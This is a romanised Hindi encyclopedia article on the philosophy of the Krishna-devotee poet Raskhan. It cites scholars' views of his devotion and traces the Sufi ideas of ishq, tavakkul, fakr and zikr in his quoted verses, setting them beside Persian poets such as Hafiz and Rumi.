रसखान का दर्शन

भारत डिस्कवरी प्रस्तुति
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rasakhan vishay soochi
jivani    vyaktitv evan krititv    sahityik visheshataean    kavitaean    bhasha    bhakti-bhavana    prakriti varnan    darshan
rasakhan ka darshan
poora nam saiyyad ibrahim (rasakhan)
janm sanh 1533 se 1558 bich (lagabhag)
janm bhoomi pihani, haradoee zila, uttar pradesh
karm bhoomi mahavan (mathura)
karm-kshetr krishna bhakti kavy
mukhy rachanaean 'sujan rasakhan' aur 'premavatika'
vishay sagun krishnabhakti
bhasha sadharan braj bhasha
vishesh yogadan prakriti varnan, krishnabhakti
nagarikata bharatiy
any janakari bharatendu harishchandr ne jin muslim haribhaktoan ke liye kaha tha, "in musalaman harijanan par kotin hindoo varie" unamean "rasakhan" ka nam sarvopari hai.
inhean bhi dekhean kavi soochi, sahityakar soochi
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rasakhan ki rachanaean
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hindi sahity mean krishna bhakt tatha ritikalin kaviyoan mean rasakhan ka mahattvapoorn sthan hai. 'rasakhan' ko ras ki khan kaha jata hai. inake kavy mean bhakti, shrriangar ras donoan pradhanata se milate haian. rasakhan krishna bhakt haian aur prabhu ke sagun aur nirgun nirakar roop ke prati shraddhalu haian.

rasakhan ka darshan

sahity, darshan aur jivan tinoan ek doosare ke poorak haian. sahity jivan ko hriday dvara samajhane ka prayas hai, aur darshan use mastishk ke dvara samajhata hai. mastishk jivan ko jis roop mean samajhata hai sahity usi ko saras banakar jan-jan ke man mean utarane ka prayas karata hai. darshan jivan ki gaharaiyoan ka thik-thik pata batata hai. sahity use jan-jan ke lie sulabh karata hai. jaise eeshvar-prapti ke lie jnan aur bhakti do alag-alag marg haian, vaise hi sahity aur darshan mean donoan ki pahuanch ek hi tathy tak hai. donoan ka pratipady vishay bhi ek hi hai. sakshat jnan ke saman darshan ko shrey aur sahity ko prem tak kahane ki udarata karate haian.

  • achary janakivallabh shastri apani rachana 'sahity darshan' mean isaka tivr khandan karate hue kahate haian ki 'sahity ko prem kahana use doosare shabdoan mean narak ka panth kahana hai. sahity svarg ka svarnim sopan hai.' sahity aur darshan ko ek hi shrey ka hriday aur mastishk bhav aur anubhooti aur chianta kahakar saman milana chahie.[1] bhakti-kavy mean sahity aur darshan donoan hi ek doosare ke ghanishth sanbandhi haian. at: bhakt kavi ke sahity mean darshan ki khoj karana samichin hai.
  • d aau. ramakumar varma ke anusar rasakhan shrikrishna prem aur tanmayata ke lie prasiddh haian.[2]
  • shyamasundar ke matanusar krishna bhakt kaviyoan mean sachche premamagn kavi rasakhan ka nam bhagavan krishna ki sagugopasana mean vishesh ooancha hai.[3]
  • achary ramachandr shukl ke anusar yah b de bhari krishna bhakt the. inaka prem atyant bhagavadh-bhakti mean parinat hua.[4]
  • achary hazariprasad dvivedi ke anusar paramakarshak krishna bhakti ke muslim sahridayoan mean rasakhan ek pramukh kavi haian.[5]
  • pan. vishvanath prasad anek tark dete hue ant mean kahate haian ki rasakhan bhaktimargi krishna bhaktoan , premamargi soophiyoan, ritimargi kaviyoan in sab hi se prithakh svachchhandamargi premonmatt gayak the. yadi unhean bhakt kahana ho to svachchhand premamargi bhakt kaha ja sakata hai.[6]

uparyukt matoan mean adhikaansh is vishay par ekamat haian ki ye prem ke divane the. inaki bhakti mean prem ki pradhanata hai.

  • mishr ji ke tarkoan ka sar is prakar hai: hindi-sahity ke madhyakal mean tin prakar ki kavyadharaean thian- ek shuddh bhakti ki, doosari kavy-riti ki, tisari schachchhand vritti ki. pratham paksh valoan ke lie bhakti sadhy thi, kavita sadhan, kyoanki ve keval bhakti ki abhivyakti ke lie kavita nahian karate the. ve bhakti ke pracharak bhi the. par rasakhan ki rachana ko ham bhakti ki pracharak rachana nahian kah sakate jaisa kabir, jayasi, soor aur tulasi ki rachana ko kaha jata hai. rasakhan to premomang ke kavi the. ye hindi ki svachchhand kavyadhara ke sabase prachin kavi thaharate haian. ritidhara valoan ke lie kavy hi sadhy tha kiantu kavy ke sadhan riti ke oopar hi inhoanne vishesh dhyan diya. ve keval chamatkar ke lie kavita karate the. rasakhan mean hriday-paksh ki pradhanata ke karan unhean is dhara mean nahian mana ja sakata. tisari dhara thi svachchhand is dhara ke kaviyoan ko kalapaksh ka agrah nahian tha. prem mean lin hone par kavy ka pravah ap se ap bahar a jata tha. at: rasakhan ko svachchhand kavyadhara ka hi kavi manana chahie. krishna bhaktoan ki giti parampara ka tyag karake kavitt savaiya-paddhati ka sahara lena hi unhean bhakt kaviyoan ki samany shreni se alag kar deta hai. isi se rasakhan ko unmukt premonmatt kavi kaha jata hai. mishr ji age chalakar kahate haian ki nirgun mean roop ki yojana n hone ke karan unhoanne sagun mean apani svachchhand vritti lin ki—

anand-anubhav hot nahian bina prem jag jan.
kai vah vishayanand kai brahmanand bakhan ॥[7]

isilie ve krishna bhakti ki or akrisht aur lin hue. isi karan se unhean shuddh bhakt n manakar pramomang ka kavi mana jata hai. ve bihari lal, ghananand, rahim, rasakhan, alam, shekh ko bhakti ke pad rachane par bhi unako shuddh bhakt kahane mean hichak prakat karate haian. rasakhan ne krishna bhakti darshan mean vallabhachary ji ka shuddhadvaitavad, nianbark ka dvaitadvaitavad, madhvachary ka dvaitavad athava chaitany mahaprabhu ke achianty bhedabhed kisi ka bhi anusaran nahian kiya. vallabhachary ji ne hriday ke sanskar aur vikas ki drishti se eeshvar bhakti arthat alaukik prem ko hi sadhy mana hai kintu rasakhan laukik prem ko sadhy manate hue kahate hai-

akath kahani prem ki, janat laili khoob.
do tanahooan jahan ek bhe, man milai mahaboob॥[8]

is prakar yah shuddh advaitavadi pushti marg se bhi alag ho jate haian. mishr ji ke anusar rasakhan ne bhaktoan ki giti aur riti donoan ka hi tyag kar diya. isi se unhean svachchhand margi premonmatt gayak hi kaha ja sakata hai bhakt nahian. yadyapi mishr ji ka vivechan atyant tarkapoorn hai kintu phir bhi kuchh vicharaniy vishay rah jata hai. granthavali ki bhoomika mean sthan-sthan par yah kaha gaya hai yadi koee inhean bhakti vishayak rachana ke karan bhakt kahata hai to kahe, svachchhand premamargi bhakt kaha jay to koee badha nahian.[9] in batoan se yah spasht ho gaya ki mishr ji inaki kavita ko bhakti ka vishay manate haian aur agar koee inhean bhakt kavi kahe to usamean koee apatti bhi nahian manate. yahaan tak ki jab unhean bhaktoan ki shreni se kharij karane ki bat ati hai to zoradar shabdoan mean yah bhi kahate haian ki inhean bhaktoan ki shreni se kharij karane ki avashyakata nahian. isase siddh hota hai ki mishr ji bhi is bat ko manate haian ki ve shakt the. inaki rachana bhakti pradhan hai. in do tathyoan ko pray: sabhi ne poornaroopen svikar bhi kiya hai.

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ab prashn yah uthata hai ki jab ve bhakt the aur unaki rachana bhakti pradhan hai to usaka koee darshan bhi avashy hoga. jahaan alochak ki janakari ke lie niyamoan ki shrriankhala mean koee vastu nahian bandhati, vahaan use svachchhand kah diya jata hai. par vastav mean aisi bat nahian. pratyek kary ka mool karan avashy rahata hai. mishr ji ne ek bat bar-bar kahi hai ki rasakhan mean videshipan ki jhalak avashy dikhair p dati hai.[10] yah premamargi bhakt the.[11] laukik paksh mean inaka virah farasi kavy ki vandana se prabhavit hai, alaukik paksh mean soophiyoan ki premapir se. age kahate haian svachchhand kaviyoan ne prem ki pir soophi kaviyoan se hi li hai isamean koee sandeh nahian.[12] rasakhan jaise pichhale kaante ke krishnabhakt kavi soophi santoan aur farasi sahity ki pravritti se prabhavit hue haian, yah asandigdh hai.[13]

  • soophi sadhana mean soophi mat ganit ki tarah koee vastu nahian jo samajhane se samajh mean a jay. n hi chalachitr ki bhaanti koee kala hai ki chitroan ke dekhane se sari sthiti spasht ho jay.
  • d aau. tarachand ke anusar tasavvuph vastav mean gahan pavitrata, upasana, tallinata evan atmasamarpan ka dharm hai. muhabbat usaka aveg hai. kavy, sangit nrity usaki sadhana aur laukik avastha se guzar kar khuda se mil jana usaka lakshy hai.[14] soophiyoan ke sanbandh mean kaha gaya hai ki jab prem ka poorn sphuran ho jata hai tab ve sansar ko samajhane-dekhane lagate haian. unake hriday mean musalaman, isaee, hindoo ka bhedabhav nahian rah jata. usaka dharm keval ek rah jata hai, vah hai prem ka dharm.
  • prasiddh soophi sadhak roomi ne ek sthan par kaha hai- ishk ka mazahab sabhi mazahaboan se alag hai. khuda ke ashikoan ka khuda ke alava koee mazahab nahian hai.[15]
  • ibnul arabi ka kathan hai ki sachche soophi ko har mazahab mean khuda mil jata hai.[16] ho sakata hai ki rasakhan bhi is vishay mean poorn vishvas rakhate hoan aur unhoanne khuda ki prapti bharat ke prasiddh avatar krishna ke madhyam se ki.
  • abdulavahid bilagrami ne hakaeke-hindi ki rachana 1566 ee. mean ki.[17] jisake dvara unhoanne hindi kavita ki adhyatmik kuanji di.
  • usake sanbandh mean achary hazari prasad dvivedi ka mat hai ki is pustak se keval soophi sadhakoan ke adhyatmik sanketoan ka hi jnan nahian hota apitu sooradas ke poorvavarti brajabhasha sahity ki ek samriddh parampara ka bhi abhas milata hai.[18]
  • gulamali azad ki kathan hai ki sama (sangit) ko chishti soophiyoan ki sadhana mean b da mahattvapoorn sthan prapt tha. is prashn par vah kattar alimoan tatha rajy ke adhikariyoan se bhi takkar lene mean n darate the. yadyapi shekh shahabuddin suharavardi tatha hujaberi ne apani pustak mean sama ke niyam nirdharit kar die the aur bad ke soophiyoan ne bhi un niyamoan ka palan karane tatha karane ka prayatn kiya, kintu bhavavesh mean kisi niyam ka palan karana tatha karana kathin hai.
  • amir khusaro ne hindi ragoan ka bhi avishkar kiya aur prachalit ragoan mean bhi sanshodhan kie. is prakar sama mean bhi hindi ganoan ko pravisht kar diya gaya. kabhi-kabhi hindi rag to farasi gazaloan se kahian adhik prabhavashali ho jate the. quran ki ayatean bhi hindi ragoan mean gaee jane lagi thian.[19]
  • saiyad atahar abbas rijavi ke anusar in hindi kavitaoan mean bharatiy tatha hindoo sanskar moolaroop mean vidyaman rahate the. hakaeke-hindi ke adhyayan se pata chalata hai ki dhruvapad tatha vishnupad ko sabase adhik prasiddhi prapt thi. shrikrishna tatha radha ki prem-kathaean soophiyoan ko bhi alaukik rahasy se poorn jnat hoti thian. in kavitaoan ka 'sama' mean gaya jana alimoan ko to achchha lagata hi n hoga. kadachit kuchh soophi bhi in hindi ganoan ki katu alochana karate hoange. at: in kavitaoan ka adhyatmik rahasy batana bhi param avashyak ho gaya hai. abdul vahid soophi ne hakaeke hindi mean un hi shabdoan ke rahasy ki b di goodh vyakhya hai jo us samay hindi ganoan mean prayog mean ate the.[20]
  • rasakhan ne bhi krishna ka niroopan alaukik sauandary ya rahasy ke pratik ya adhar roop mean kiya. yah bhi sanbhav hai ki rasakhan mir abdul vahid aur unaki rachana hakaeke hindi se bhi parichit rahe hoan kyoanki ve ayu mean rasakhan se lagabhag chauantis varsh b de the. at: us samay ki paristhiti aur soophi mat ke svaroop ko dekhate hue rasakhan ne bhi usaka niroopan maulik dhang se kiya jo unaki pratibha aur mast svabhav ke anukool sarvatha hai.
  • svachchhand kavi hone ke karan rasakhan se soophi siddhaantoan ke poorn vivechan ki asha nahian karani chahie. sanbhavat: isi karan rasakhan ke kavy mean soophi mat ke siddhantoan ka vidhivat niroopan nahian milata. stri ke roop mean alaukik sauandary ki charcha tatha masanavi shaili ke bhi darshan nahian hote. kintu rasakhan ke kavy ka anushilan karane par jnat hota hai ki soophi mat ka vidhivat niroopan n hone par unake kavy darshan par soophi sadhana ka vyapak prabhav p da. unaki bhakti ka bahari svaroop bharatiy hai kiantu atma soophi se ranjit hai. soophi sadhana ke us svaroop ka vivechan prastut hai jo rasakhan ke kavy mean parilakshit hota hai.
  • ishk (prem) 'kisi ke gun par jab rujhan hota hai to us dasha ko muhabbat kahate haian lekin jab yah muhabbat badhate-badhate tivr ho jati hai to ishk kahalati hai. yahi ashik (premi) mashook (priy) ke milan ka karan ban jati hai. tasavvuk poornataya ishk par adharit hai. sadhak ko khuda ke ausaph (gun) nazar ane lagate haian aur prem badhata hi jata hai. prem ki adhikata ke karan khuda ki prapti ke marg mean sadhak sabako tyagane lagata hai. yahaan tak ki lok-paralok ka bhed samapt ho jata hai. khuda ke atirikt use aur kisi ki chinta nahian rahati. aisi avastha a jati hai ki ishk mean tallin sadhak ko sansar ka koee du:kh du:kh nahian pratit hota. har samay mrityu ki pratiksha rahati hai ki atma svatantr hokar vastavik priy se ja mile.[21] rasakhan mean is ishk ka poorn niroopan milata hai. manushy ka khuda se ishk karana, svayan ko usamean lin kar dena soophi mat ki sangebuniyad (nianv) hai.[22] soophiyoan ne prem ke do sopan mane haian: ishke majaji aur ishke hakiki (alaukik). soophi sadhak ishke majaji ke madhyam se ishke hakiki ko prapt karata hai. rasakhan ne alaukik satta ki prapti ka adhar ishk ko manate hue laukik alaukik donoan premoan ki charcha ki hai. bina prem ke kisi bhi prakar ke anand ki prapti sanbhav nahi-

anand anubhav hot nahian bina prem jag jan.
kai vah bishayanand kai brahmanand bakhan॥[23]

  • jnan, karm aur upasana ke dvara soophi sadhak ko khuda ki prapti nahian. yah soophi mat ki char avasthaoan mean se pratham avastha shariyat mani gee hai. rasakhan us hakikat mat ishk ke dvara hi pahuanchate haian. usi ke madhyam se unhean dridh nishchay ki prapti hoti hai-

jnan karm ru upasana, sab ahamiti ko mool.
dridh nischay nahian hot, bin kiye prem anukool॥[24]

rasakhan shastroan aur vedoan ke path ko bhi vyarth batate hue kahate haian ki ved aur quran ke padhane se kuchh nahian hota jab tak sadhak ko prem ka poorn jnan nahian hota arthat khuda ko ishk ke dvara hi prapt kiya ja sakata hai—

jnan dhyan bidyamati, mat bisvas bibek.
bina prem sab dhoori haian agajag ek anek॥[25]

  • prasiddh farasi soophi kavi haphij ne bhi kaha hai—

ishkat rasad bapharayad gar khud basan haphij.
quran jabar bakhavani bachar dah rivayat॥[26]

  • yadi tum itane b de jnani bhi ho ki quranamajid chaudah rivayatean ke sath tumhean kanthasth ho to bhi bagair ishk ke tumhara kam nahian chalega.

sastran padhi pandit bhe, kai maulavi quran.
ju pai prem janyau nahian, kaha kiyau rasakhan॥[27]

  • farasi ke prasiddh kavi najiri ne bhi kaha hai—

kitabe haphate millatagar bekhavaand adami ami ast.
n khuvaand taje juj ashanaee dastanie ra॥[28]

arthat agar iansan satoan dharmoan ki kitabean padh le to bhi jahil rahata hai jab tak ki muhabbat ki kitab se koee dastaan n padhe. rasakhan ne ishk ko poornataya nirlipt mana hai jahaan kam, krodh, mad, moh, bhay, lobh adi hota hai soophi sadhana ke anusar vahaan prem nahian hota. rasakhan ne bhi kaha hai—

kam krodh mad moh bhay lobh droh matsary.
in sab hi tean prem hai pare, kahat munivary॥[29]

  • prasiddh farasi kavi maulana room ne bhi kaha hai—

har kara jama j ishke chak shud.
oo je hiraso jumale aibo pak shud॥[30]

arthat jisane apana libas ishk mean chak kiya, vah lalach aur samast durgunoan se pak ho gaya. ishke hakiki laukik svaroopoan se ooancha uthakar khuda se prem karana hai. rasakhan ke anusar ishk shuddh, kamana rahit roop, gun, yauvan, dhan adi se pare hona chahie:

bin gun joban roop dhan, bin svarath hit jani.
suddh kamana tean rahit prem sakal rasakhani ॥[31]

  • mansoor hallaj ne kaha hai eeshvar se milan tabhi sanbhav hai jab ham kashtoan ke bich se hokar gujarean.[32] hindi premakhyanak kavy mean bhi prem ke marg mean ane vali kathinaiyoan ka niroopan kiya gaya hai.
  • hujveri ne bhi yah bataya hai ki prem marg mean musibatean jhelana anivary hai. eeshvar se prithakh hokar rooh (atma) us samay tak nirantar kasht sahati rahati hai jab tak ki vah apane priy eeshvar se sakshatkar ya tadatmy n ho jay. farasi sahity mean jo ishkiya masanaviyaan haian unamean premi ko bahut kasht uthana p data hai.[33] prem ke marg ko agamy tatha sagar ke saman rasakhan ne bhi bataya hai—

prem agam anupam amit, sagar saris bakhan.
jo avat yahi dhig bahuri jat nahian rasakhan॥[34]

  • farasi ke prasiddh kavi haphij ka varnan bhi isase milata-julata hai:

baharist bahare ishk ki hichash kinara nist.
aanja jaja nike jam besiparand chara nist॥[35]

  • prem marg mean sadhak ko kin-kin kathinaiyoan ka samana karana p data hai kitane kasht sahane p date haian. kaise usake pran t dapate haian. rasakhan ke anusar keval usaansean hi chalati rahati haian—

prem prem sab kou kahai, kathin prem ki phaans.
pran taraphi nikarai nahian, keval chalat usaans॥[36]

  • sachche prem ke svaroop ka varnan karate hue rasakhan kahate haian ki yah atyant sookshm, komal, kshin aur agamy sadaiv ek-sa rahane vala ras se paripoorn hote hue bhi kathin hota hai—

ati soochham komal atihi ati pataro ati door.
prem kathin sab te sada, nit ik ras bharapoor॥[37]

  • prem marg ki adbhutata, durgamata evan durlabhata ka ullekh karate hue rasakhan kahate haian ki pranoan ko nichhavar karake hi priy ki prapti hoti hai—

pai aitohoo ham sunyauan, prem ajoobo khel.
jaanbaji bazi jahaan dil ka dil se mel॥[38]

rasakhan ke anusar sansar mean samast chizean dekhi ev jani ja sakati haian kintu khuda evan prem aise haian ki n unako dekha ja sakata hai n jana.[39] soophiyoan ke prem ko keval anubhav kiya ja sakata hai. dampaty sukh saansarik padarthoan se prapt anand, pooja, dharmik vishvas in sabase ishke hakiki uchch evan pare haian—

dampati sukh aru bishay ras pooja nishtha dhyan.
in tean pare bakhaniyai shuddh drem rasakhani ॥[40]

  • soophi sadhak prem-marg mean samast saansarik sanbandh ko tyag apana dhyan ishke hakiki ke madhyam se alaukik satta ki or kendrit kar leta hai. vah keval apane premi ki hi satta ko sarvasv adhar manakar usi mean tallinata ko prem manate haian. rasakhan ke anusar bhi-

ik aangi binu karanahi, ikaras sada saman.
ganai priyahi sarvasv jo soi prem praman ॥[41]

  • hajarat muhammad saheb ki ek hadis mean kaha gaya hai, 'allah ne kaha mera banda prem-sadhana aur puny karyoan se mere nikat ho jata hai aur maian usase muhabbat karane lagata hooan, maian usaki aankh ban jata hooan goya vah mere jarie dekhata hai. maian usaki jaban ban jata hooan, vah mere jarie bolata hai. maian usaka hath ban jata hooan, vah mere dvara grahan karata hai.[42] khuda ke is prem ke vashibhoot hone ki charcha rasakhan ke kavy mean bhi milati hai. vah krishna ke roop mean kuanj-kutir mean radha ke pair dabata drishtigochar hota hai.[43] sanbhavat: yahaan radha ka atma aur krishna ka paramatma ke roop mean chitran hua hai. rasakhan sanpatti, roop, bhog, jog evan mukti sabako vyarth manate hue kahate haian ki jo svayan radhika rani ke rang mean racha hua hai arthat prem ke vashibhoot hai usi mean lin hokar prem karana chahie- dai chittatake n rang rachyau ju rahyau rachi radhika rani ke rangahi.[44] khuda ke prem ke vashibhoot hone ki charcha rasakhan ne anek sthaloan par ki hai. prem ke vashibhoot hone par vah chhachhiya bhari chhachh par nachane ko taiyar hai—

sankar se sur jahi japaian chaturanan dhyanan dharm badhavai.
neku hiyean jihi anat hi j d moodh maha rasakhani kahavai.
ja par dev adev bhoo aangana varat pranan pranan pavai.
tahi ahir ki chhohariya chhachhiya bhar chhachh pai nach nachavai.[45]

[[chitr:raskhan-3.jpg|rasakhan ki samadhi, mahavan, mathura|thumb|250px]]

  • prem ki tallinata is sima tak badhati hai ki ek bande aur khuda ek ho jate haian. rasakhan ne bande khuda ke ek hone tatha hari ke premadhin svaroop ki charcha hai:

hari ke sab adhin, pai hari prem-adhin.
yahi tean hari apuhian, yahi b dappan din॥[46]

  • prasiddh soophi junaid ka kathan hai priy ki visheshataoan mean apani visheshataoan ko mila dena prem hai. prem ki visheshata yah hoti hai ki nij ke vyaktitv ko samapt kar diya jay. yah anand aisa hota hai ki is par niyantran nahian kiya ja sakata. yah eesvariy kripa hai jo nirantar vinay karate rahane v akaanksha karate rahane se prapt hoti hai.[47]

prem hari ko roop hai tyau hari prem-saroop.
ek hoi hai yauan lasai jyoan sooraj au dhoop.[48]
sir katau, chhedau hiyo, took took kari dehu.
pai yake badale bihansi vah vah hi lehu.[49]

  • prasiddh soophi alapharabi ne prem ko hi eeshvar mana hai aur srishti ka raj bhi unhoanne prem ko hi svikar kiya hai. unaka mat hai ki 'bhautik vastuoan tatha jnan aur buddhi se pare ek vishisht vastu hai jise prem kahate haian. prem ke sahare is srishti mean har chiz jisamean vyakti bhi shamil hai, apani poornata par pahuanch jati hai.[50] soophiyoan ke anusar eeshvar ne atmabodh ke lie srishti ki rachana ki. ek hadis ke anusar 'maian ek chhipa hua khazana tha meri chah thi ki maian pahachana jaooan, sab log mujhe janean, at: maianne srishti ki rachana ki.[51]
  • alapharabi ke anusar eeshvar svayan prem hai. srishti ki rachana ka karan bhi prem hai. prem ke dvara srishti prem ke paramasrot mean, jo poorn sauandary aur sarvottam hai, nimagn ho jane ke lie poorn roop se ju di huee hai.[52] rasakhan ne prem ka niroopan karate hue prem ki vastavikata ke sambandh mean kaha hai—

karaj karan roop yah, prem ahai rasakhan.
karta karm kriya karan, apahi prem bakhan॥[53]
jatean upajat prem soee, bij kahavat prem.
jamaian upajat prem soi kshetr kahavat prem॥[54]
jate panapat badhat aru phoolat phalat mahan.
so sab premahian prem yah kahat rasik rasakhan॥[55]
vahi bij aankur vahi, sek vahi adhar.
dal pat phal phool sab vahi prem sukhasar॥[56]
jo jatean jamaian bahuri ja hit kahiyat besh.
so sab premahian prem hai jag rasakhani asesh॥[57]

  • sachcha premi mrityu se bhayabhit nahian hota. vah use ek yatra ka avasan aur doosari yatra ka praranbh samajhata hai. nijami ne laila majanoo mean mrityu ke darshan kiye haian. unake anusar yah maut nahian, bag aur bostaan hai yah dost ke mahal ka rasta hai. isake bina mahabooba tak pahuanchana nahian hoga.[58] isi masanavi mean unhoanne kaha hai, agar maian akl ki aankh se dekhooan to yah maut, maut nahian hai balki ek jagah se doosari jagah jana hai. isi siddhaant mean vishvas rakhate hue rasakhan ne bhi kaha hai—

prem prem sab kou kahat, prem n janat koi.
jau jan janai prem tau, marai jagath kyauan roi॥[59]
isi bhav ka farasi ke prasiddh kavi haphij ne is prakar varnan kiya hai—
haragij namirad aki dilash jeandashuddh bishk.
sibath ast kar juridae alame davame ma॥[60]
prem mean atmasarpan kar pran dekar jiv sada jivit rahata hai. rasakhan ne prem ke is svaroop ka niroopan karate hue kaha hai—
prem-phaans maian phansi marai, soi jiyai sadahi.
prem-maram jane bina, mari kou jivat nahian॥[61]
pai tithas ya mar ke, rom rom bharapoor.
marat jiyai, jhukatau thirai bane su chakanachoor॥[62]

  • at: manushy prem ke marg mean marakar hi amar hota hai. musalamanoan ki dharmik pustakoan mean kaha gaya hai ki marane ke bad kayamat mahapralay hogi. us samay pratyek manav ko ek pul (pule sarat) se gujarana hoga. vah pul bal se bhi adhik barik, talavar ki dhar se adhik tez hoga. premi vyakti eeshvar ke sachche sadhak use par kar leange. rasakhan ne bhi kuchh isi prakar bhavoan ka niroopan kiya—

kamalatantu so hin aru kathin khadg ki dhar.
ati soogho tedho bahuri prem panth anivar॥[63]

at: kaha ja sakata hai rasakhan dvara niroopit prem soophi sadhana se poornataya ranjit hai.

tavakkul

tavakkul ka sambandh apane nijatv se tanik bhi sambandh rakhane vali pratyek vastu ke pratipoorn udasilata se hota hai. yah us sthiti ka nam hai jab manushy apane samast sambandhoan ko khuda ko sauanpakar yakin kar le ki jo kuchh karega khuda hi karega.[64] tavakkul mean is bat par poorn vishvas ho jata hai ki jo kuchh hai khuda hai usake siva koee bhi nahian n doosara kuchh karana hai. tavakkul mean sadhak poori tallinata se sadhana karata he, usaka dhyan kisi taraph nahian bhatakata vah khuda par poora bharosa rakhata hai. rasakhan ke kavy mean bhi tavakkul ki saphal abhivyanjana huee hai ve kahate haian ki manushy anek devi-devataoan ko bhejakar anek sadhanoan se dhan ekatrit karate haian tatha apane man ki ashaean poorn karate haian, kintu rasakhan kahate haian ki mera sadhan to keval yahi (param satta) hai. maian us par tavakkul karata hooan—

sesh sures dines ganes prajes dhanes mahes manavau.
kooo bhavani bhajau, man ki sab as sabhi vidhi puravau.
kooo rama bhaji lehu maha dhan, kooo kahooan manavaanchhit pavau.
pai rasakhani vahi mero sadhan, aur trilok rahau ki navasau॥[65]

  • tavakkul par atal vishvas rakhate hue rasakhan apane man ko saantvana dete hue kahate haian—

draupadi au ganika gaj gidh ajamil soan kiyauan so n niharo.
gautam-gehano kaisi tari, prahalad koan kaise harayau du:kh bharo.
kahe ko soch karai rasakhani kaha kari hai ravinand bicharo.
takhan jakhan rakhiyai makhan chakhan haro so rakhan haro॥[66]

  • tavakkul ki bhavana par atal vishvas rakhate hue apane ap ko poornataya nishchiant rakhate hue rasakhan kahate haian—

kaha karai rasakhani ko kooo chugul labar.
jau pai rakhan har hai makhan chakhan har॥[67]

fakir aur phukar

[[chitr:raskhan-2.jpg|rasakhan ke dohe, mahavan, mathura|thumb|250px]] tasavvuph ki shabdavali mean fakir use kahate haian jo yah vishvas rakhata ho ki lok-paralok mean maian kisi vastu ka svami nahian hooan. n mujhe kisi chiz par adhikar hai yahaan tak ki vah sadhana ko bhi apani sanpatti nahian samajhata. lok-paralok ki samast chizoan ko hech nissar samajhata hai. n use dhan sampatti ki ichchha hoti hai n narak-svarg ka dhyan. use keval khuda ka dhyan rahata hai.[68] yah sthiti dainy ki sthiti se milati-julati hai. sachcha dainy keval sanpati ka abhav nahian balki sanpayi ki ichchha ka bhi abhav hai. vartaman jivan evan bhavishy jivan donoan se poornaroop se prithakh ho jana tatha vartaman jivan aur bhavishy jivan ke svami ke atirikt any kisi vastu ki ichchha n rakhana hi sachcha dainy hai. aisa fakir vyaktigat astitv se nirlipt hota hai, yahaan tak ki vah kisi kriya, bhavana ya gun ka arop apane mean nahian karata.[69] rasakhan ke kavy ke avalokan se jnat hota hai ki rasakhan ke kavy mean is prakar ke bhav poornataya vidyaman haian. 'kaladhaut ke dham' , 'kanchan mandir' , 'manak moti' kisi ke bhi prati unake man mean tanik moh nahian. siddhiyoan aur nidhiyoan ko jo kathin sadhana se prapt hoti haian rasakhan tanik mahattv n dete hue kahate haian—

va lakuti aru kamariya par raj tahooan pur ko taji darau.
athahu siddhi navau nidhi ko sukh nand ki gai charai bisarau.
ek rasakhani jabai in nainan taian braj ke ban-bag niharau.
kotak ye kaladhaut ke dham karil ki kuanjan oopar varauan॥[70]
rasakhan ne nirlipt soophi fakir ki visheshataean vidyaman haian unhean tanik bhi moh nahian.
kanchan mandir ooanche banai kai manik laee sada jhalakaiyat.
prat hi tean sagari nagari nag motin hi ki tulani tulaiyat.
jadyapi din prajan prajapati ki prabhuta maghava lalachaiyat.
aise bhe to kaha rasakhani jo saanvare uchar soan neh n laiyat॥[71]
rasakhan sukhasanpatti ko bhi sarahin samajhate haian. yog adi mean vishvas n rakhate hue kahate haian—
kaha rasakhani sukh sanpatti sumar kaha,
kaha tan jogi hv lagae aang chhar ko
kaha sadhe panchanal, kaha saue bich nal
kaha jiti lae raj siandhu-ar-par ko
jap bar bar, tap sanjam bayar vrat,
tirath hazar are boojhat labar ko.
kinhau nahian pyar, nahian se yau darabar, chit
chahayau n niharayau jau pai nand ke kumar ko.[72]

  • soophi fakir ko keval khuda ka dhyan rahata hai, usake lie sona mitti ke barabar hai. doosaroan ke mal par nazar dalana pap hai—

darai sada chahai n kachhu, sahai sabai jo hoi.
rahai ekaras chahi kai, prem bakhanau soi॥[73]

zikrafikr

soophi anushasan ke vidhayak tattvoan mean zikr ko sabhi rahasyavadi soophi ek mat se svikar karate haian. quran mean dharm par eeman lane valoan ko upadesh diya gaya hai ki eeshvar ka smaran pray karate raho.[74] khuda ke nam ke anek paryay haian jinake jap par mahattv diya gaya hai, 'zikr hi pahali sidhi nijatv ko bhoolana hai aur antim sidhi upasak ka upasana-kary mean is prakar lupt ho jana ki use upasana ki chetana n rahe aur vah upasy mean aisa lavalin ho jay ki usaka svayan tak lautana pratibandhit ho jay.[75] rasakhan ke kavy mean hamean zikr ka niroopan pad: pad: milata hai. yah doosari bat hai ki unhoanne zikr ka adhar krishna aur krishna lilaoan ko banaya. us yug mean krishnalila ko alaukik rahasy prapti ka marg manana koee ashcharyajanak bat nahian mani gee hogi. krishna kavy ke is svaroop ko dekhakar hi sambhavat: mir abdulavahid vilagrami ne apane granth hakaeke hindi ko tin bhagoan mean baanta hai. pratham bhag mean dhruv-pad mean prayukt hindi-shabdoan ke soofiyana arth diye ge haian. doosare bhag mean un hindi shabdoan ki vyakhya hai jo vishnu-pad mean prayukt hote the. tisare bhag mean any prakar ke gitoan aur kavyoan adi mean ay shabdoan ki vyakhya ki gayi hai.[76] udaharanarth yadi hindi kavyoan mean krishna athava any namoan ka ullekh ho to usase muhammad sahab ki or sanket hota hai, kabhi keval manushy se tatpary, kabhi manushy ki vastavikata samajhi jati hai jo parameshvar ke jat (satta) ki vahadat (ek hona) se sanbandhit hoti hai.[77] kahian-kahian kanhaiya marag roki se ibalis ke nana prakar se marg-bhrasht karane ki or sanket hota hai.[78] holi khelane ki charcha lagabhag samast krishna-bhakt kaviyoan ne kiya hai. usaka sanket agni ki or kiya jata hai jo ashikoan ke hriday ko sajae hue hai aur is agni ne unake astitv ko sir se pair tak gher rakha hai.[79] rasakhan ne holi ke padoan ke madhyam se is ag ka zikr kiya hai.[80] rasakhan us alaukik rahasy ki charcha krishna ke zikr ke madhyam se karate haian. yadi unaki jihva kisi shabd ka uchcharan kare to keval unake nam ka ho— jo rasana rasana vilasai tehi dehu sada nij nam ucharan.[81]

  • soophi sadhak bhi zikr ko bahut mahattv dete haian. ve zikr karate-karate alaukik rahasy mean itane tallin ho jate haian ki unhean apani sudh nahian rahati. rasakhan ne alaukik prem ki prapti ke lie shravan kirtan darshan ko avashyak mana hai—

stravan kiratan darasanahian jo upajat soi prem.[82]

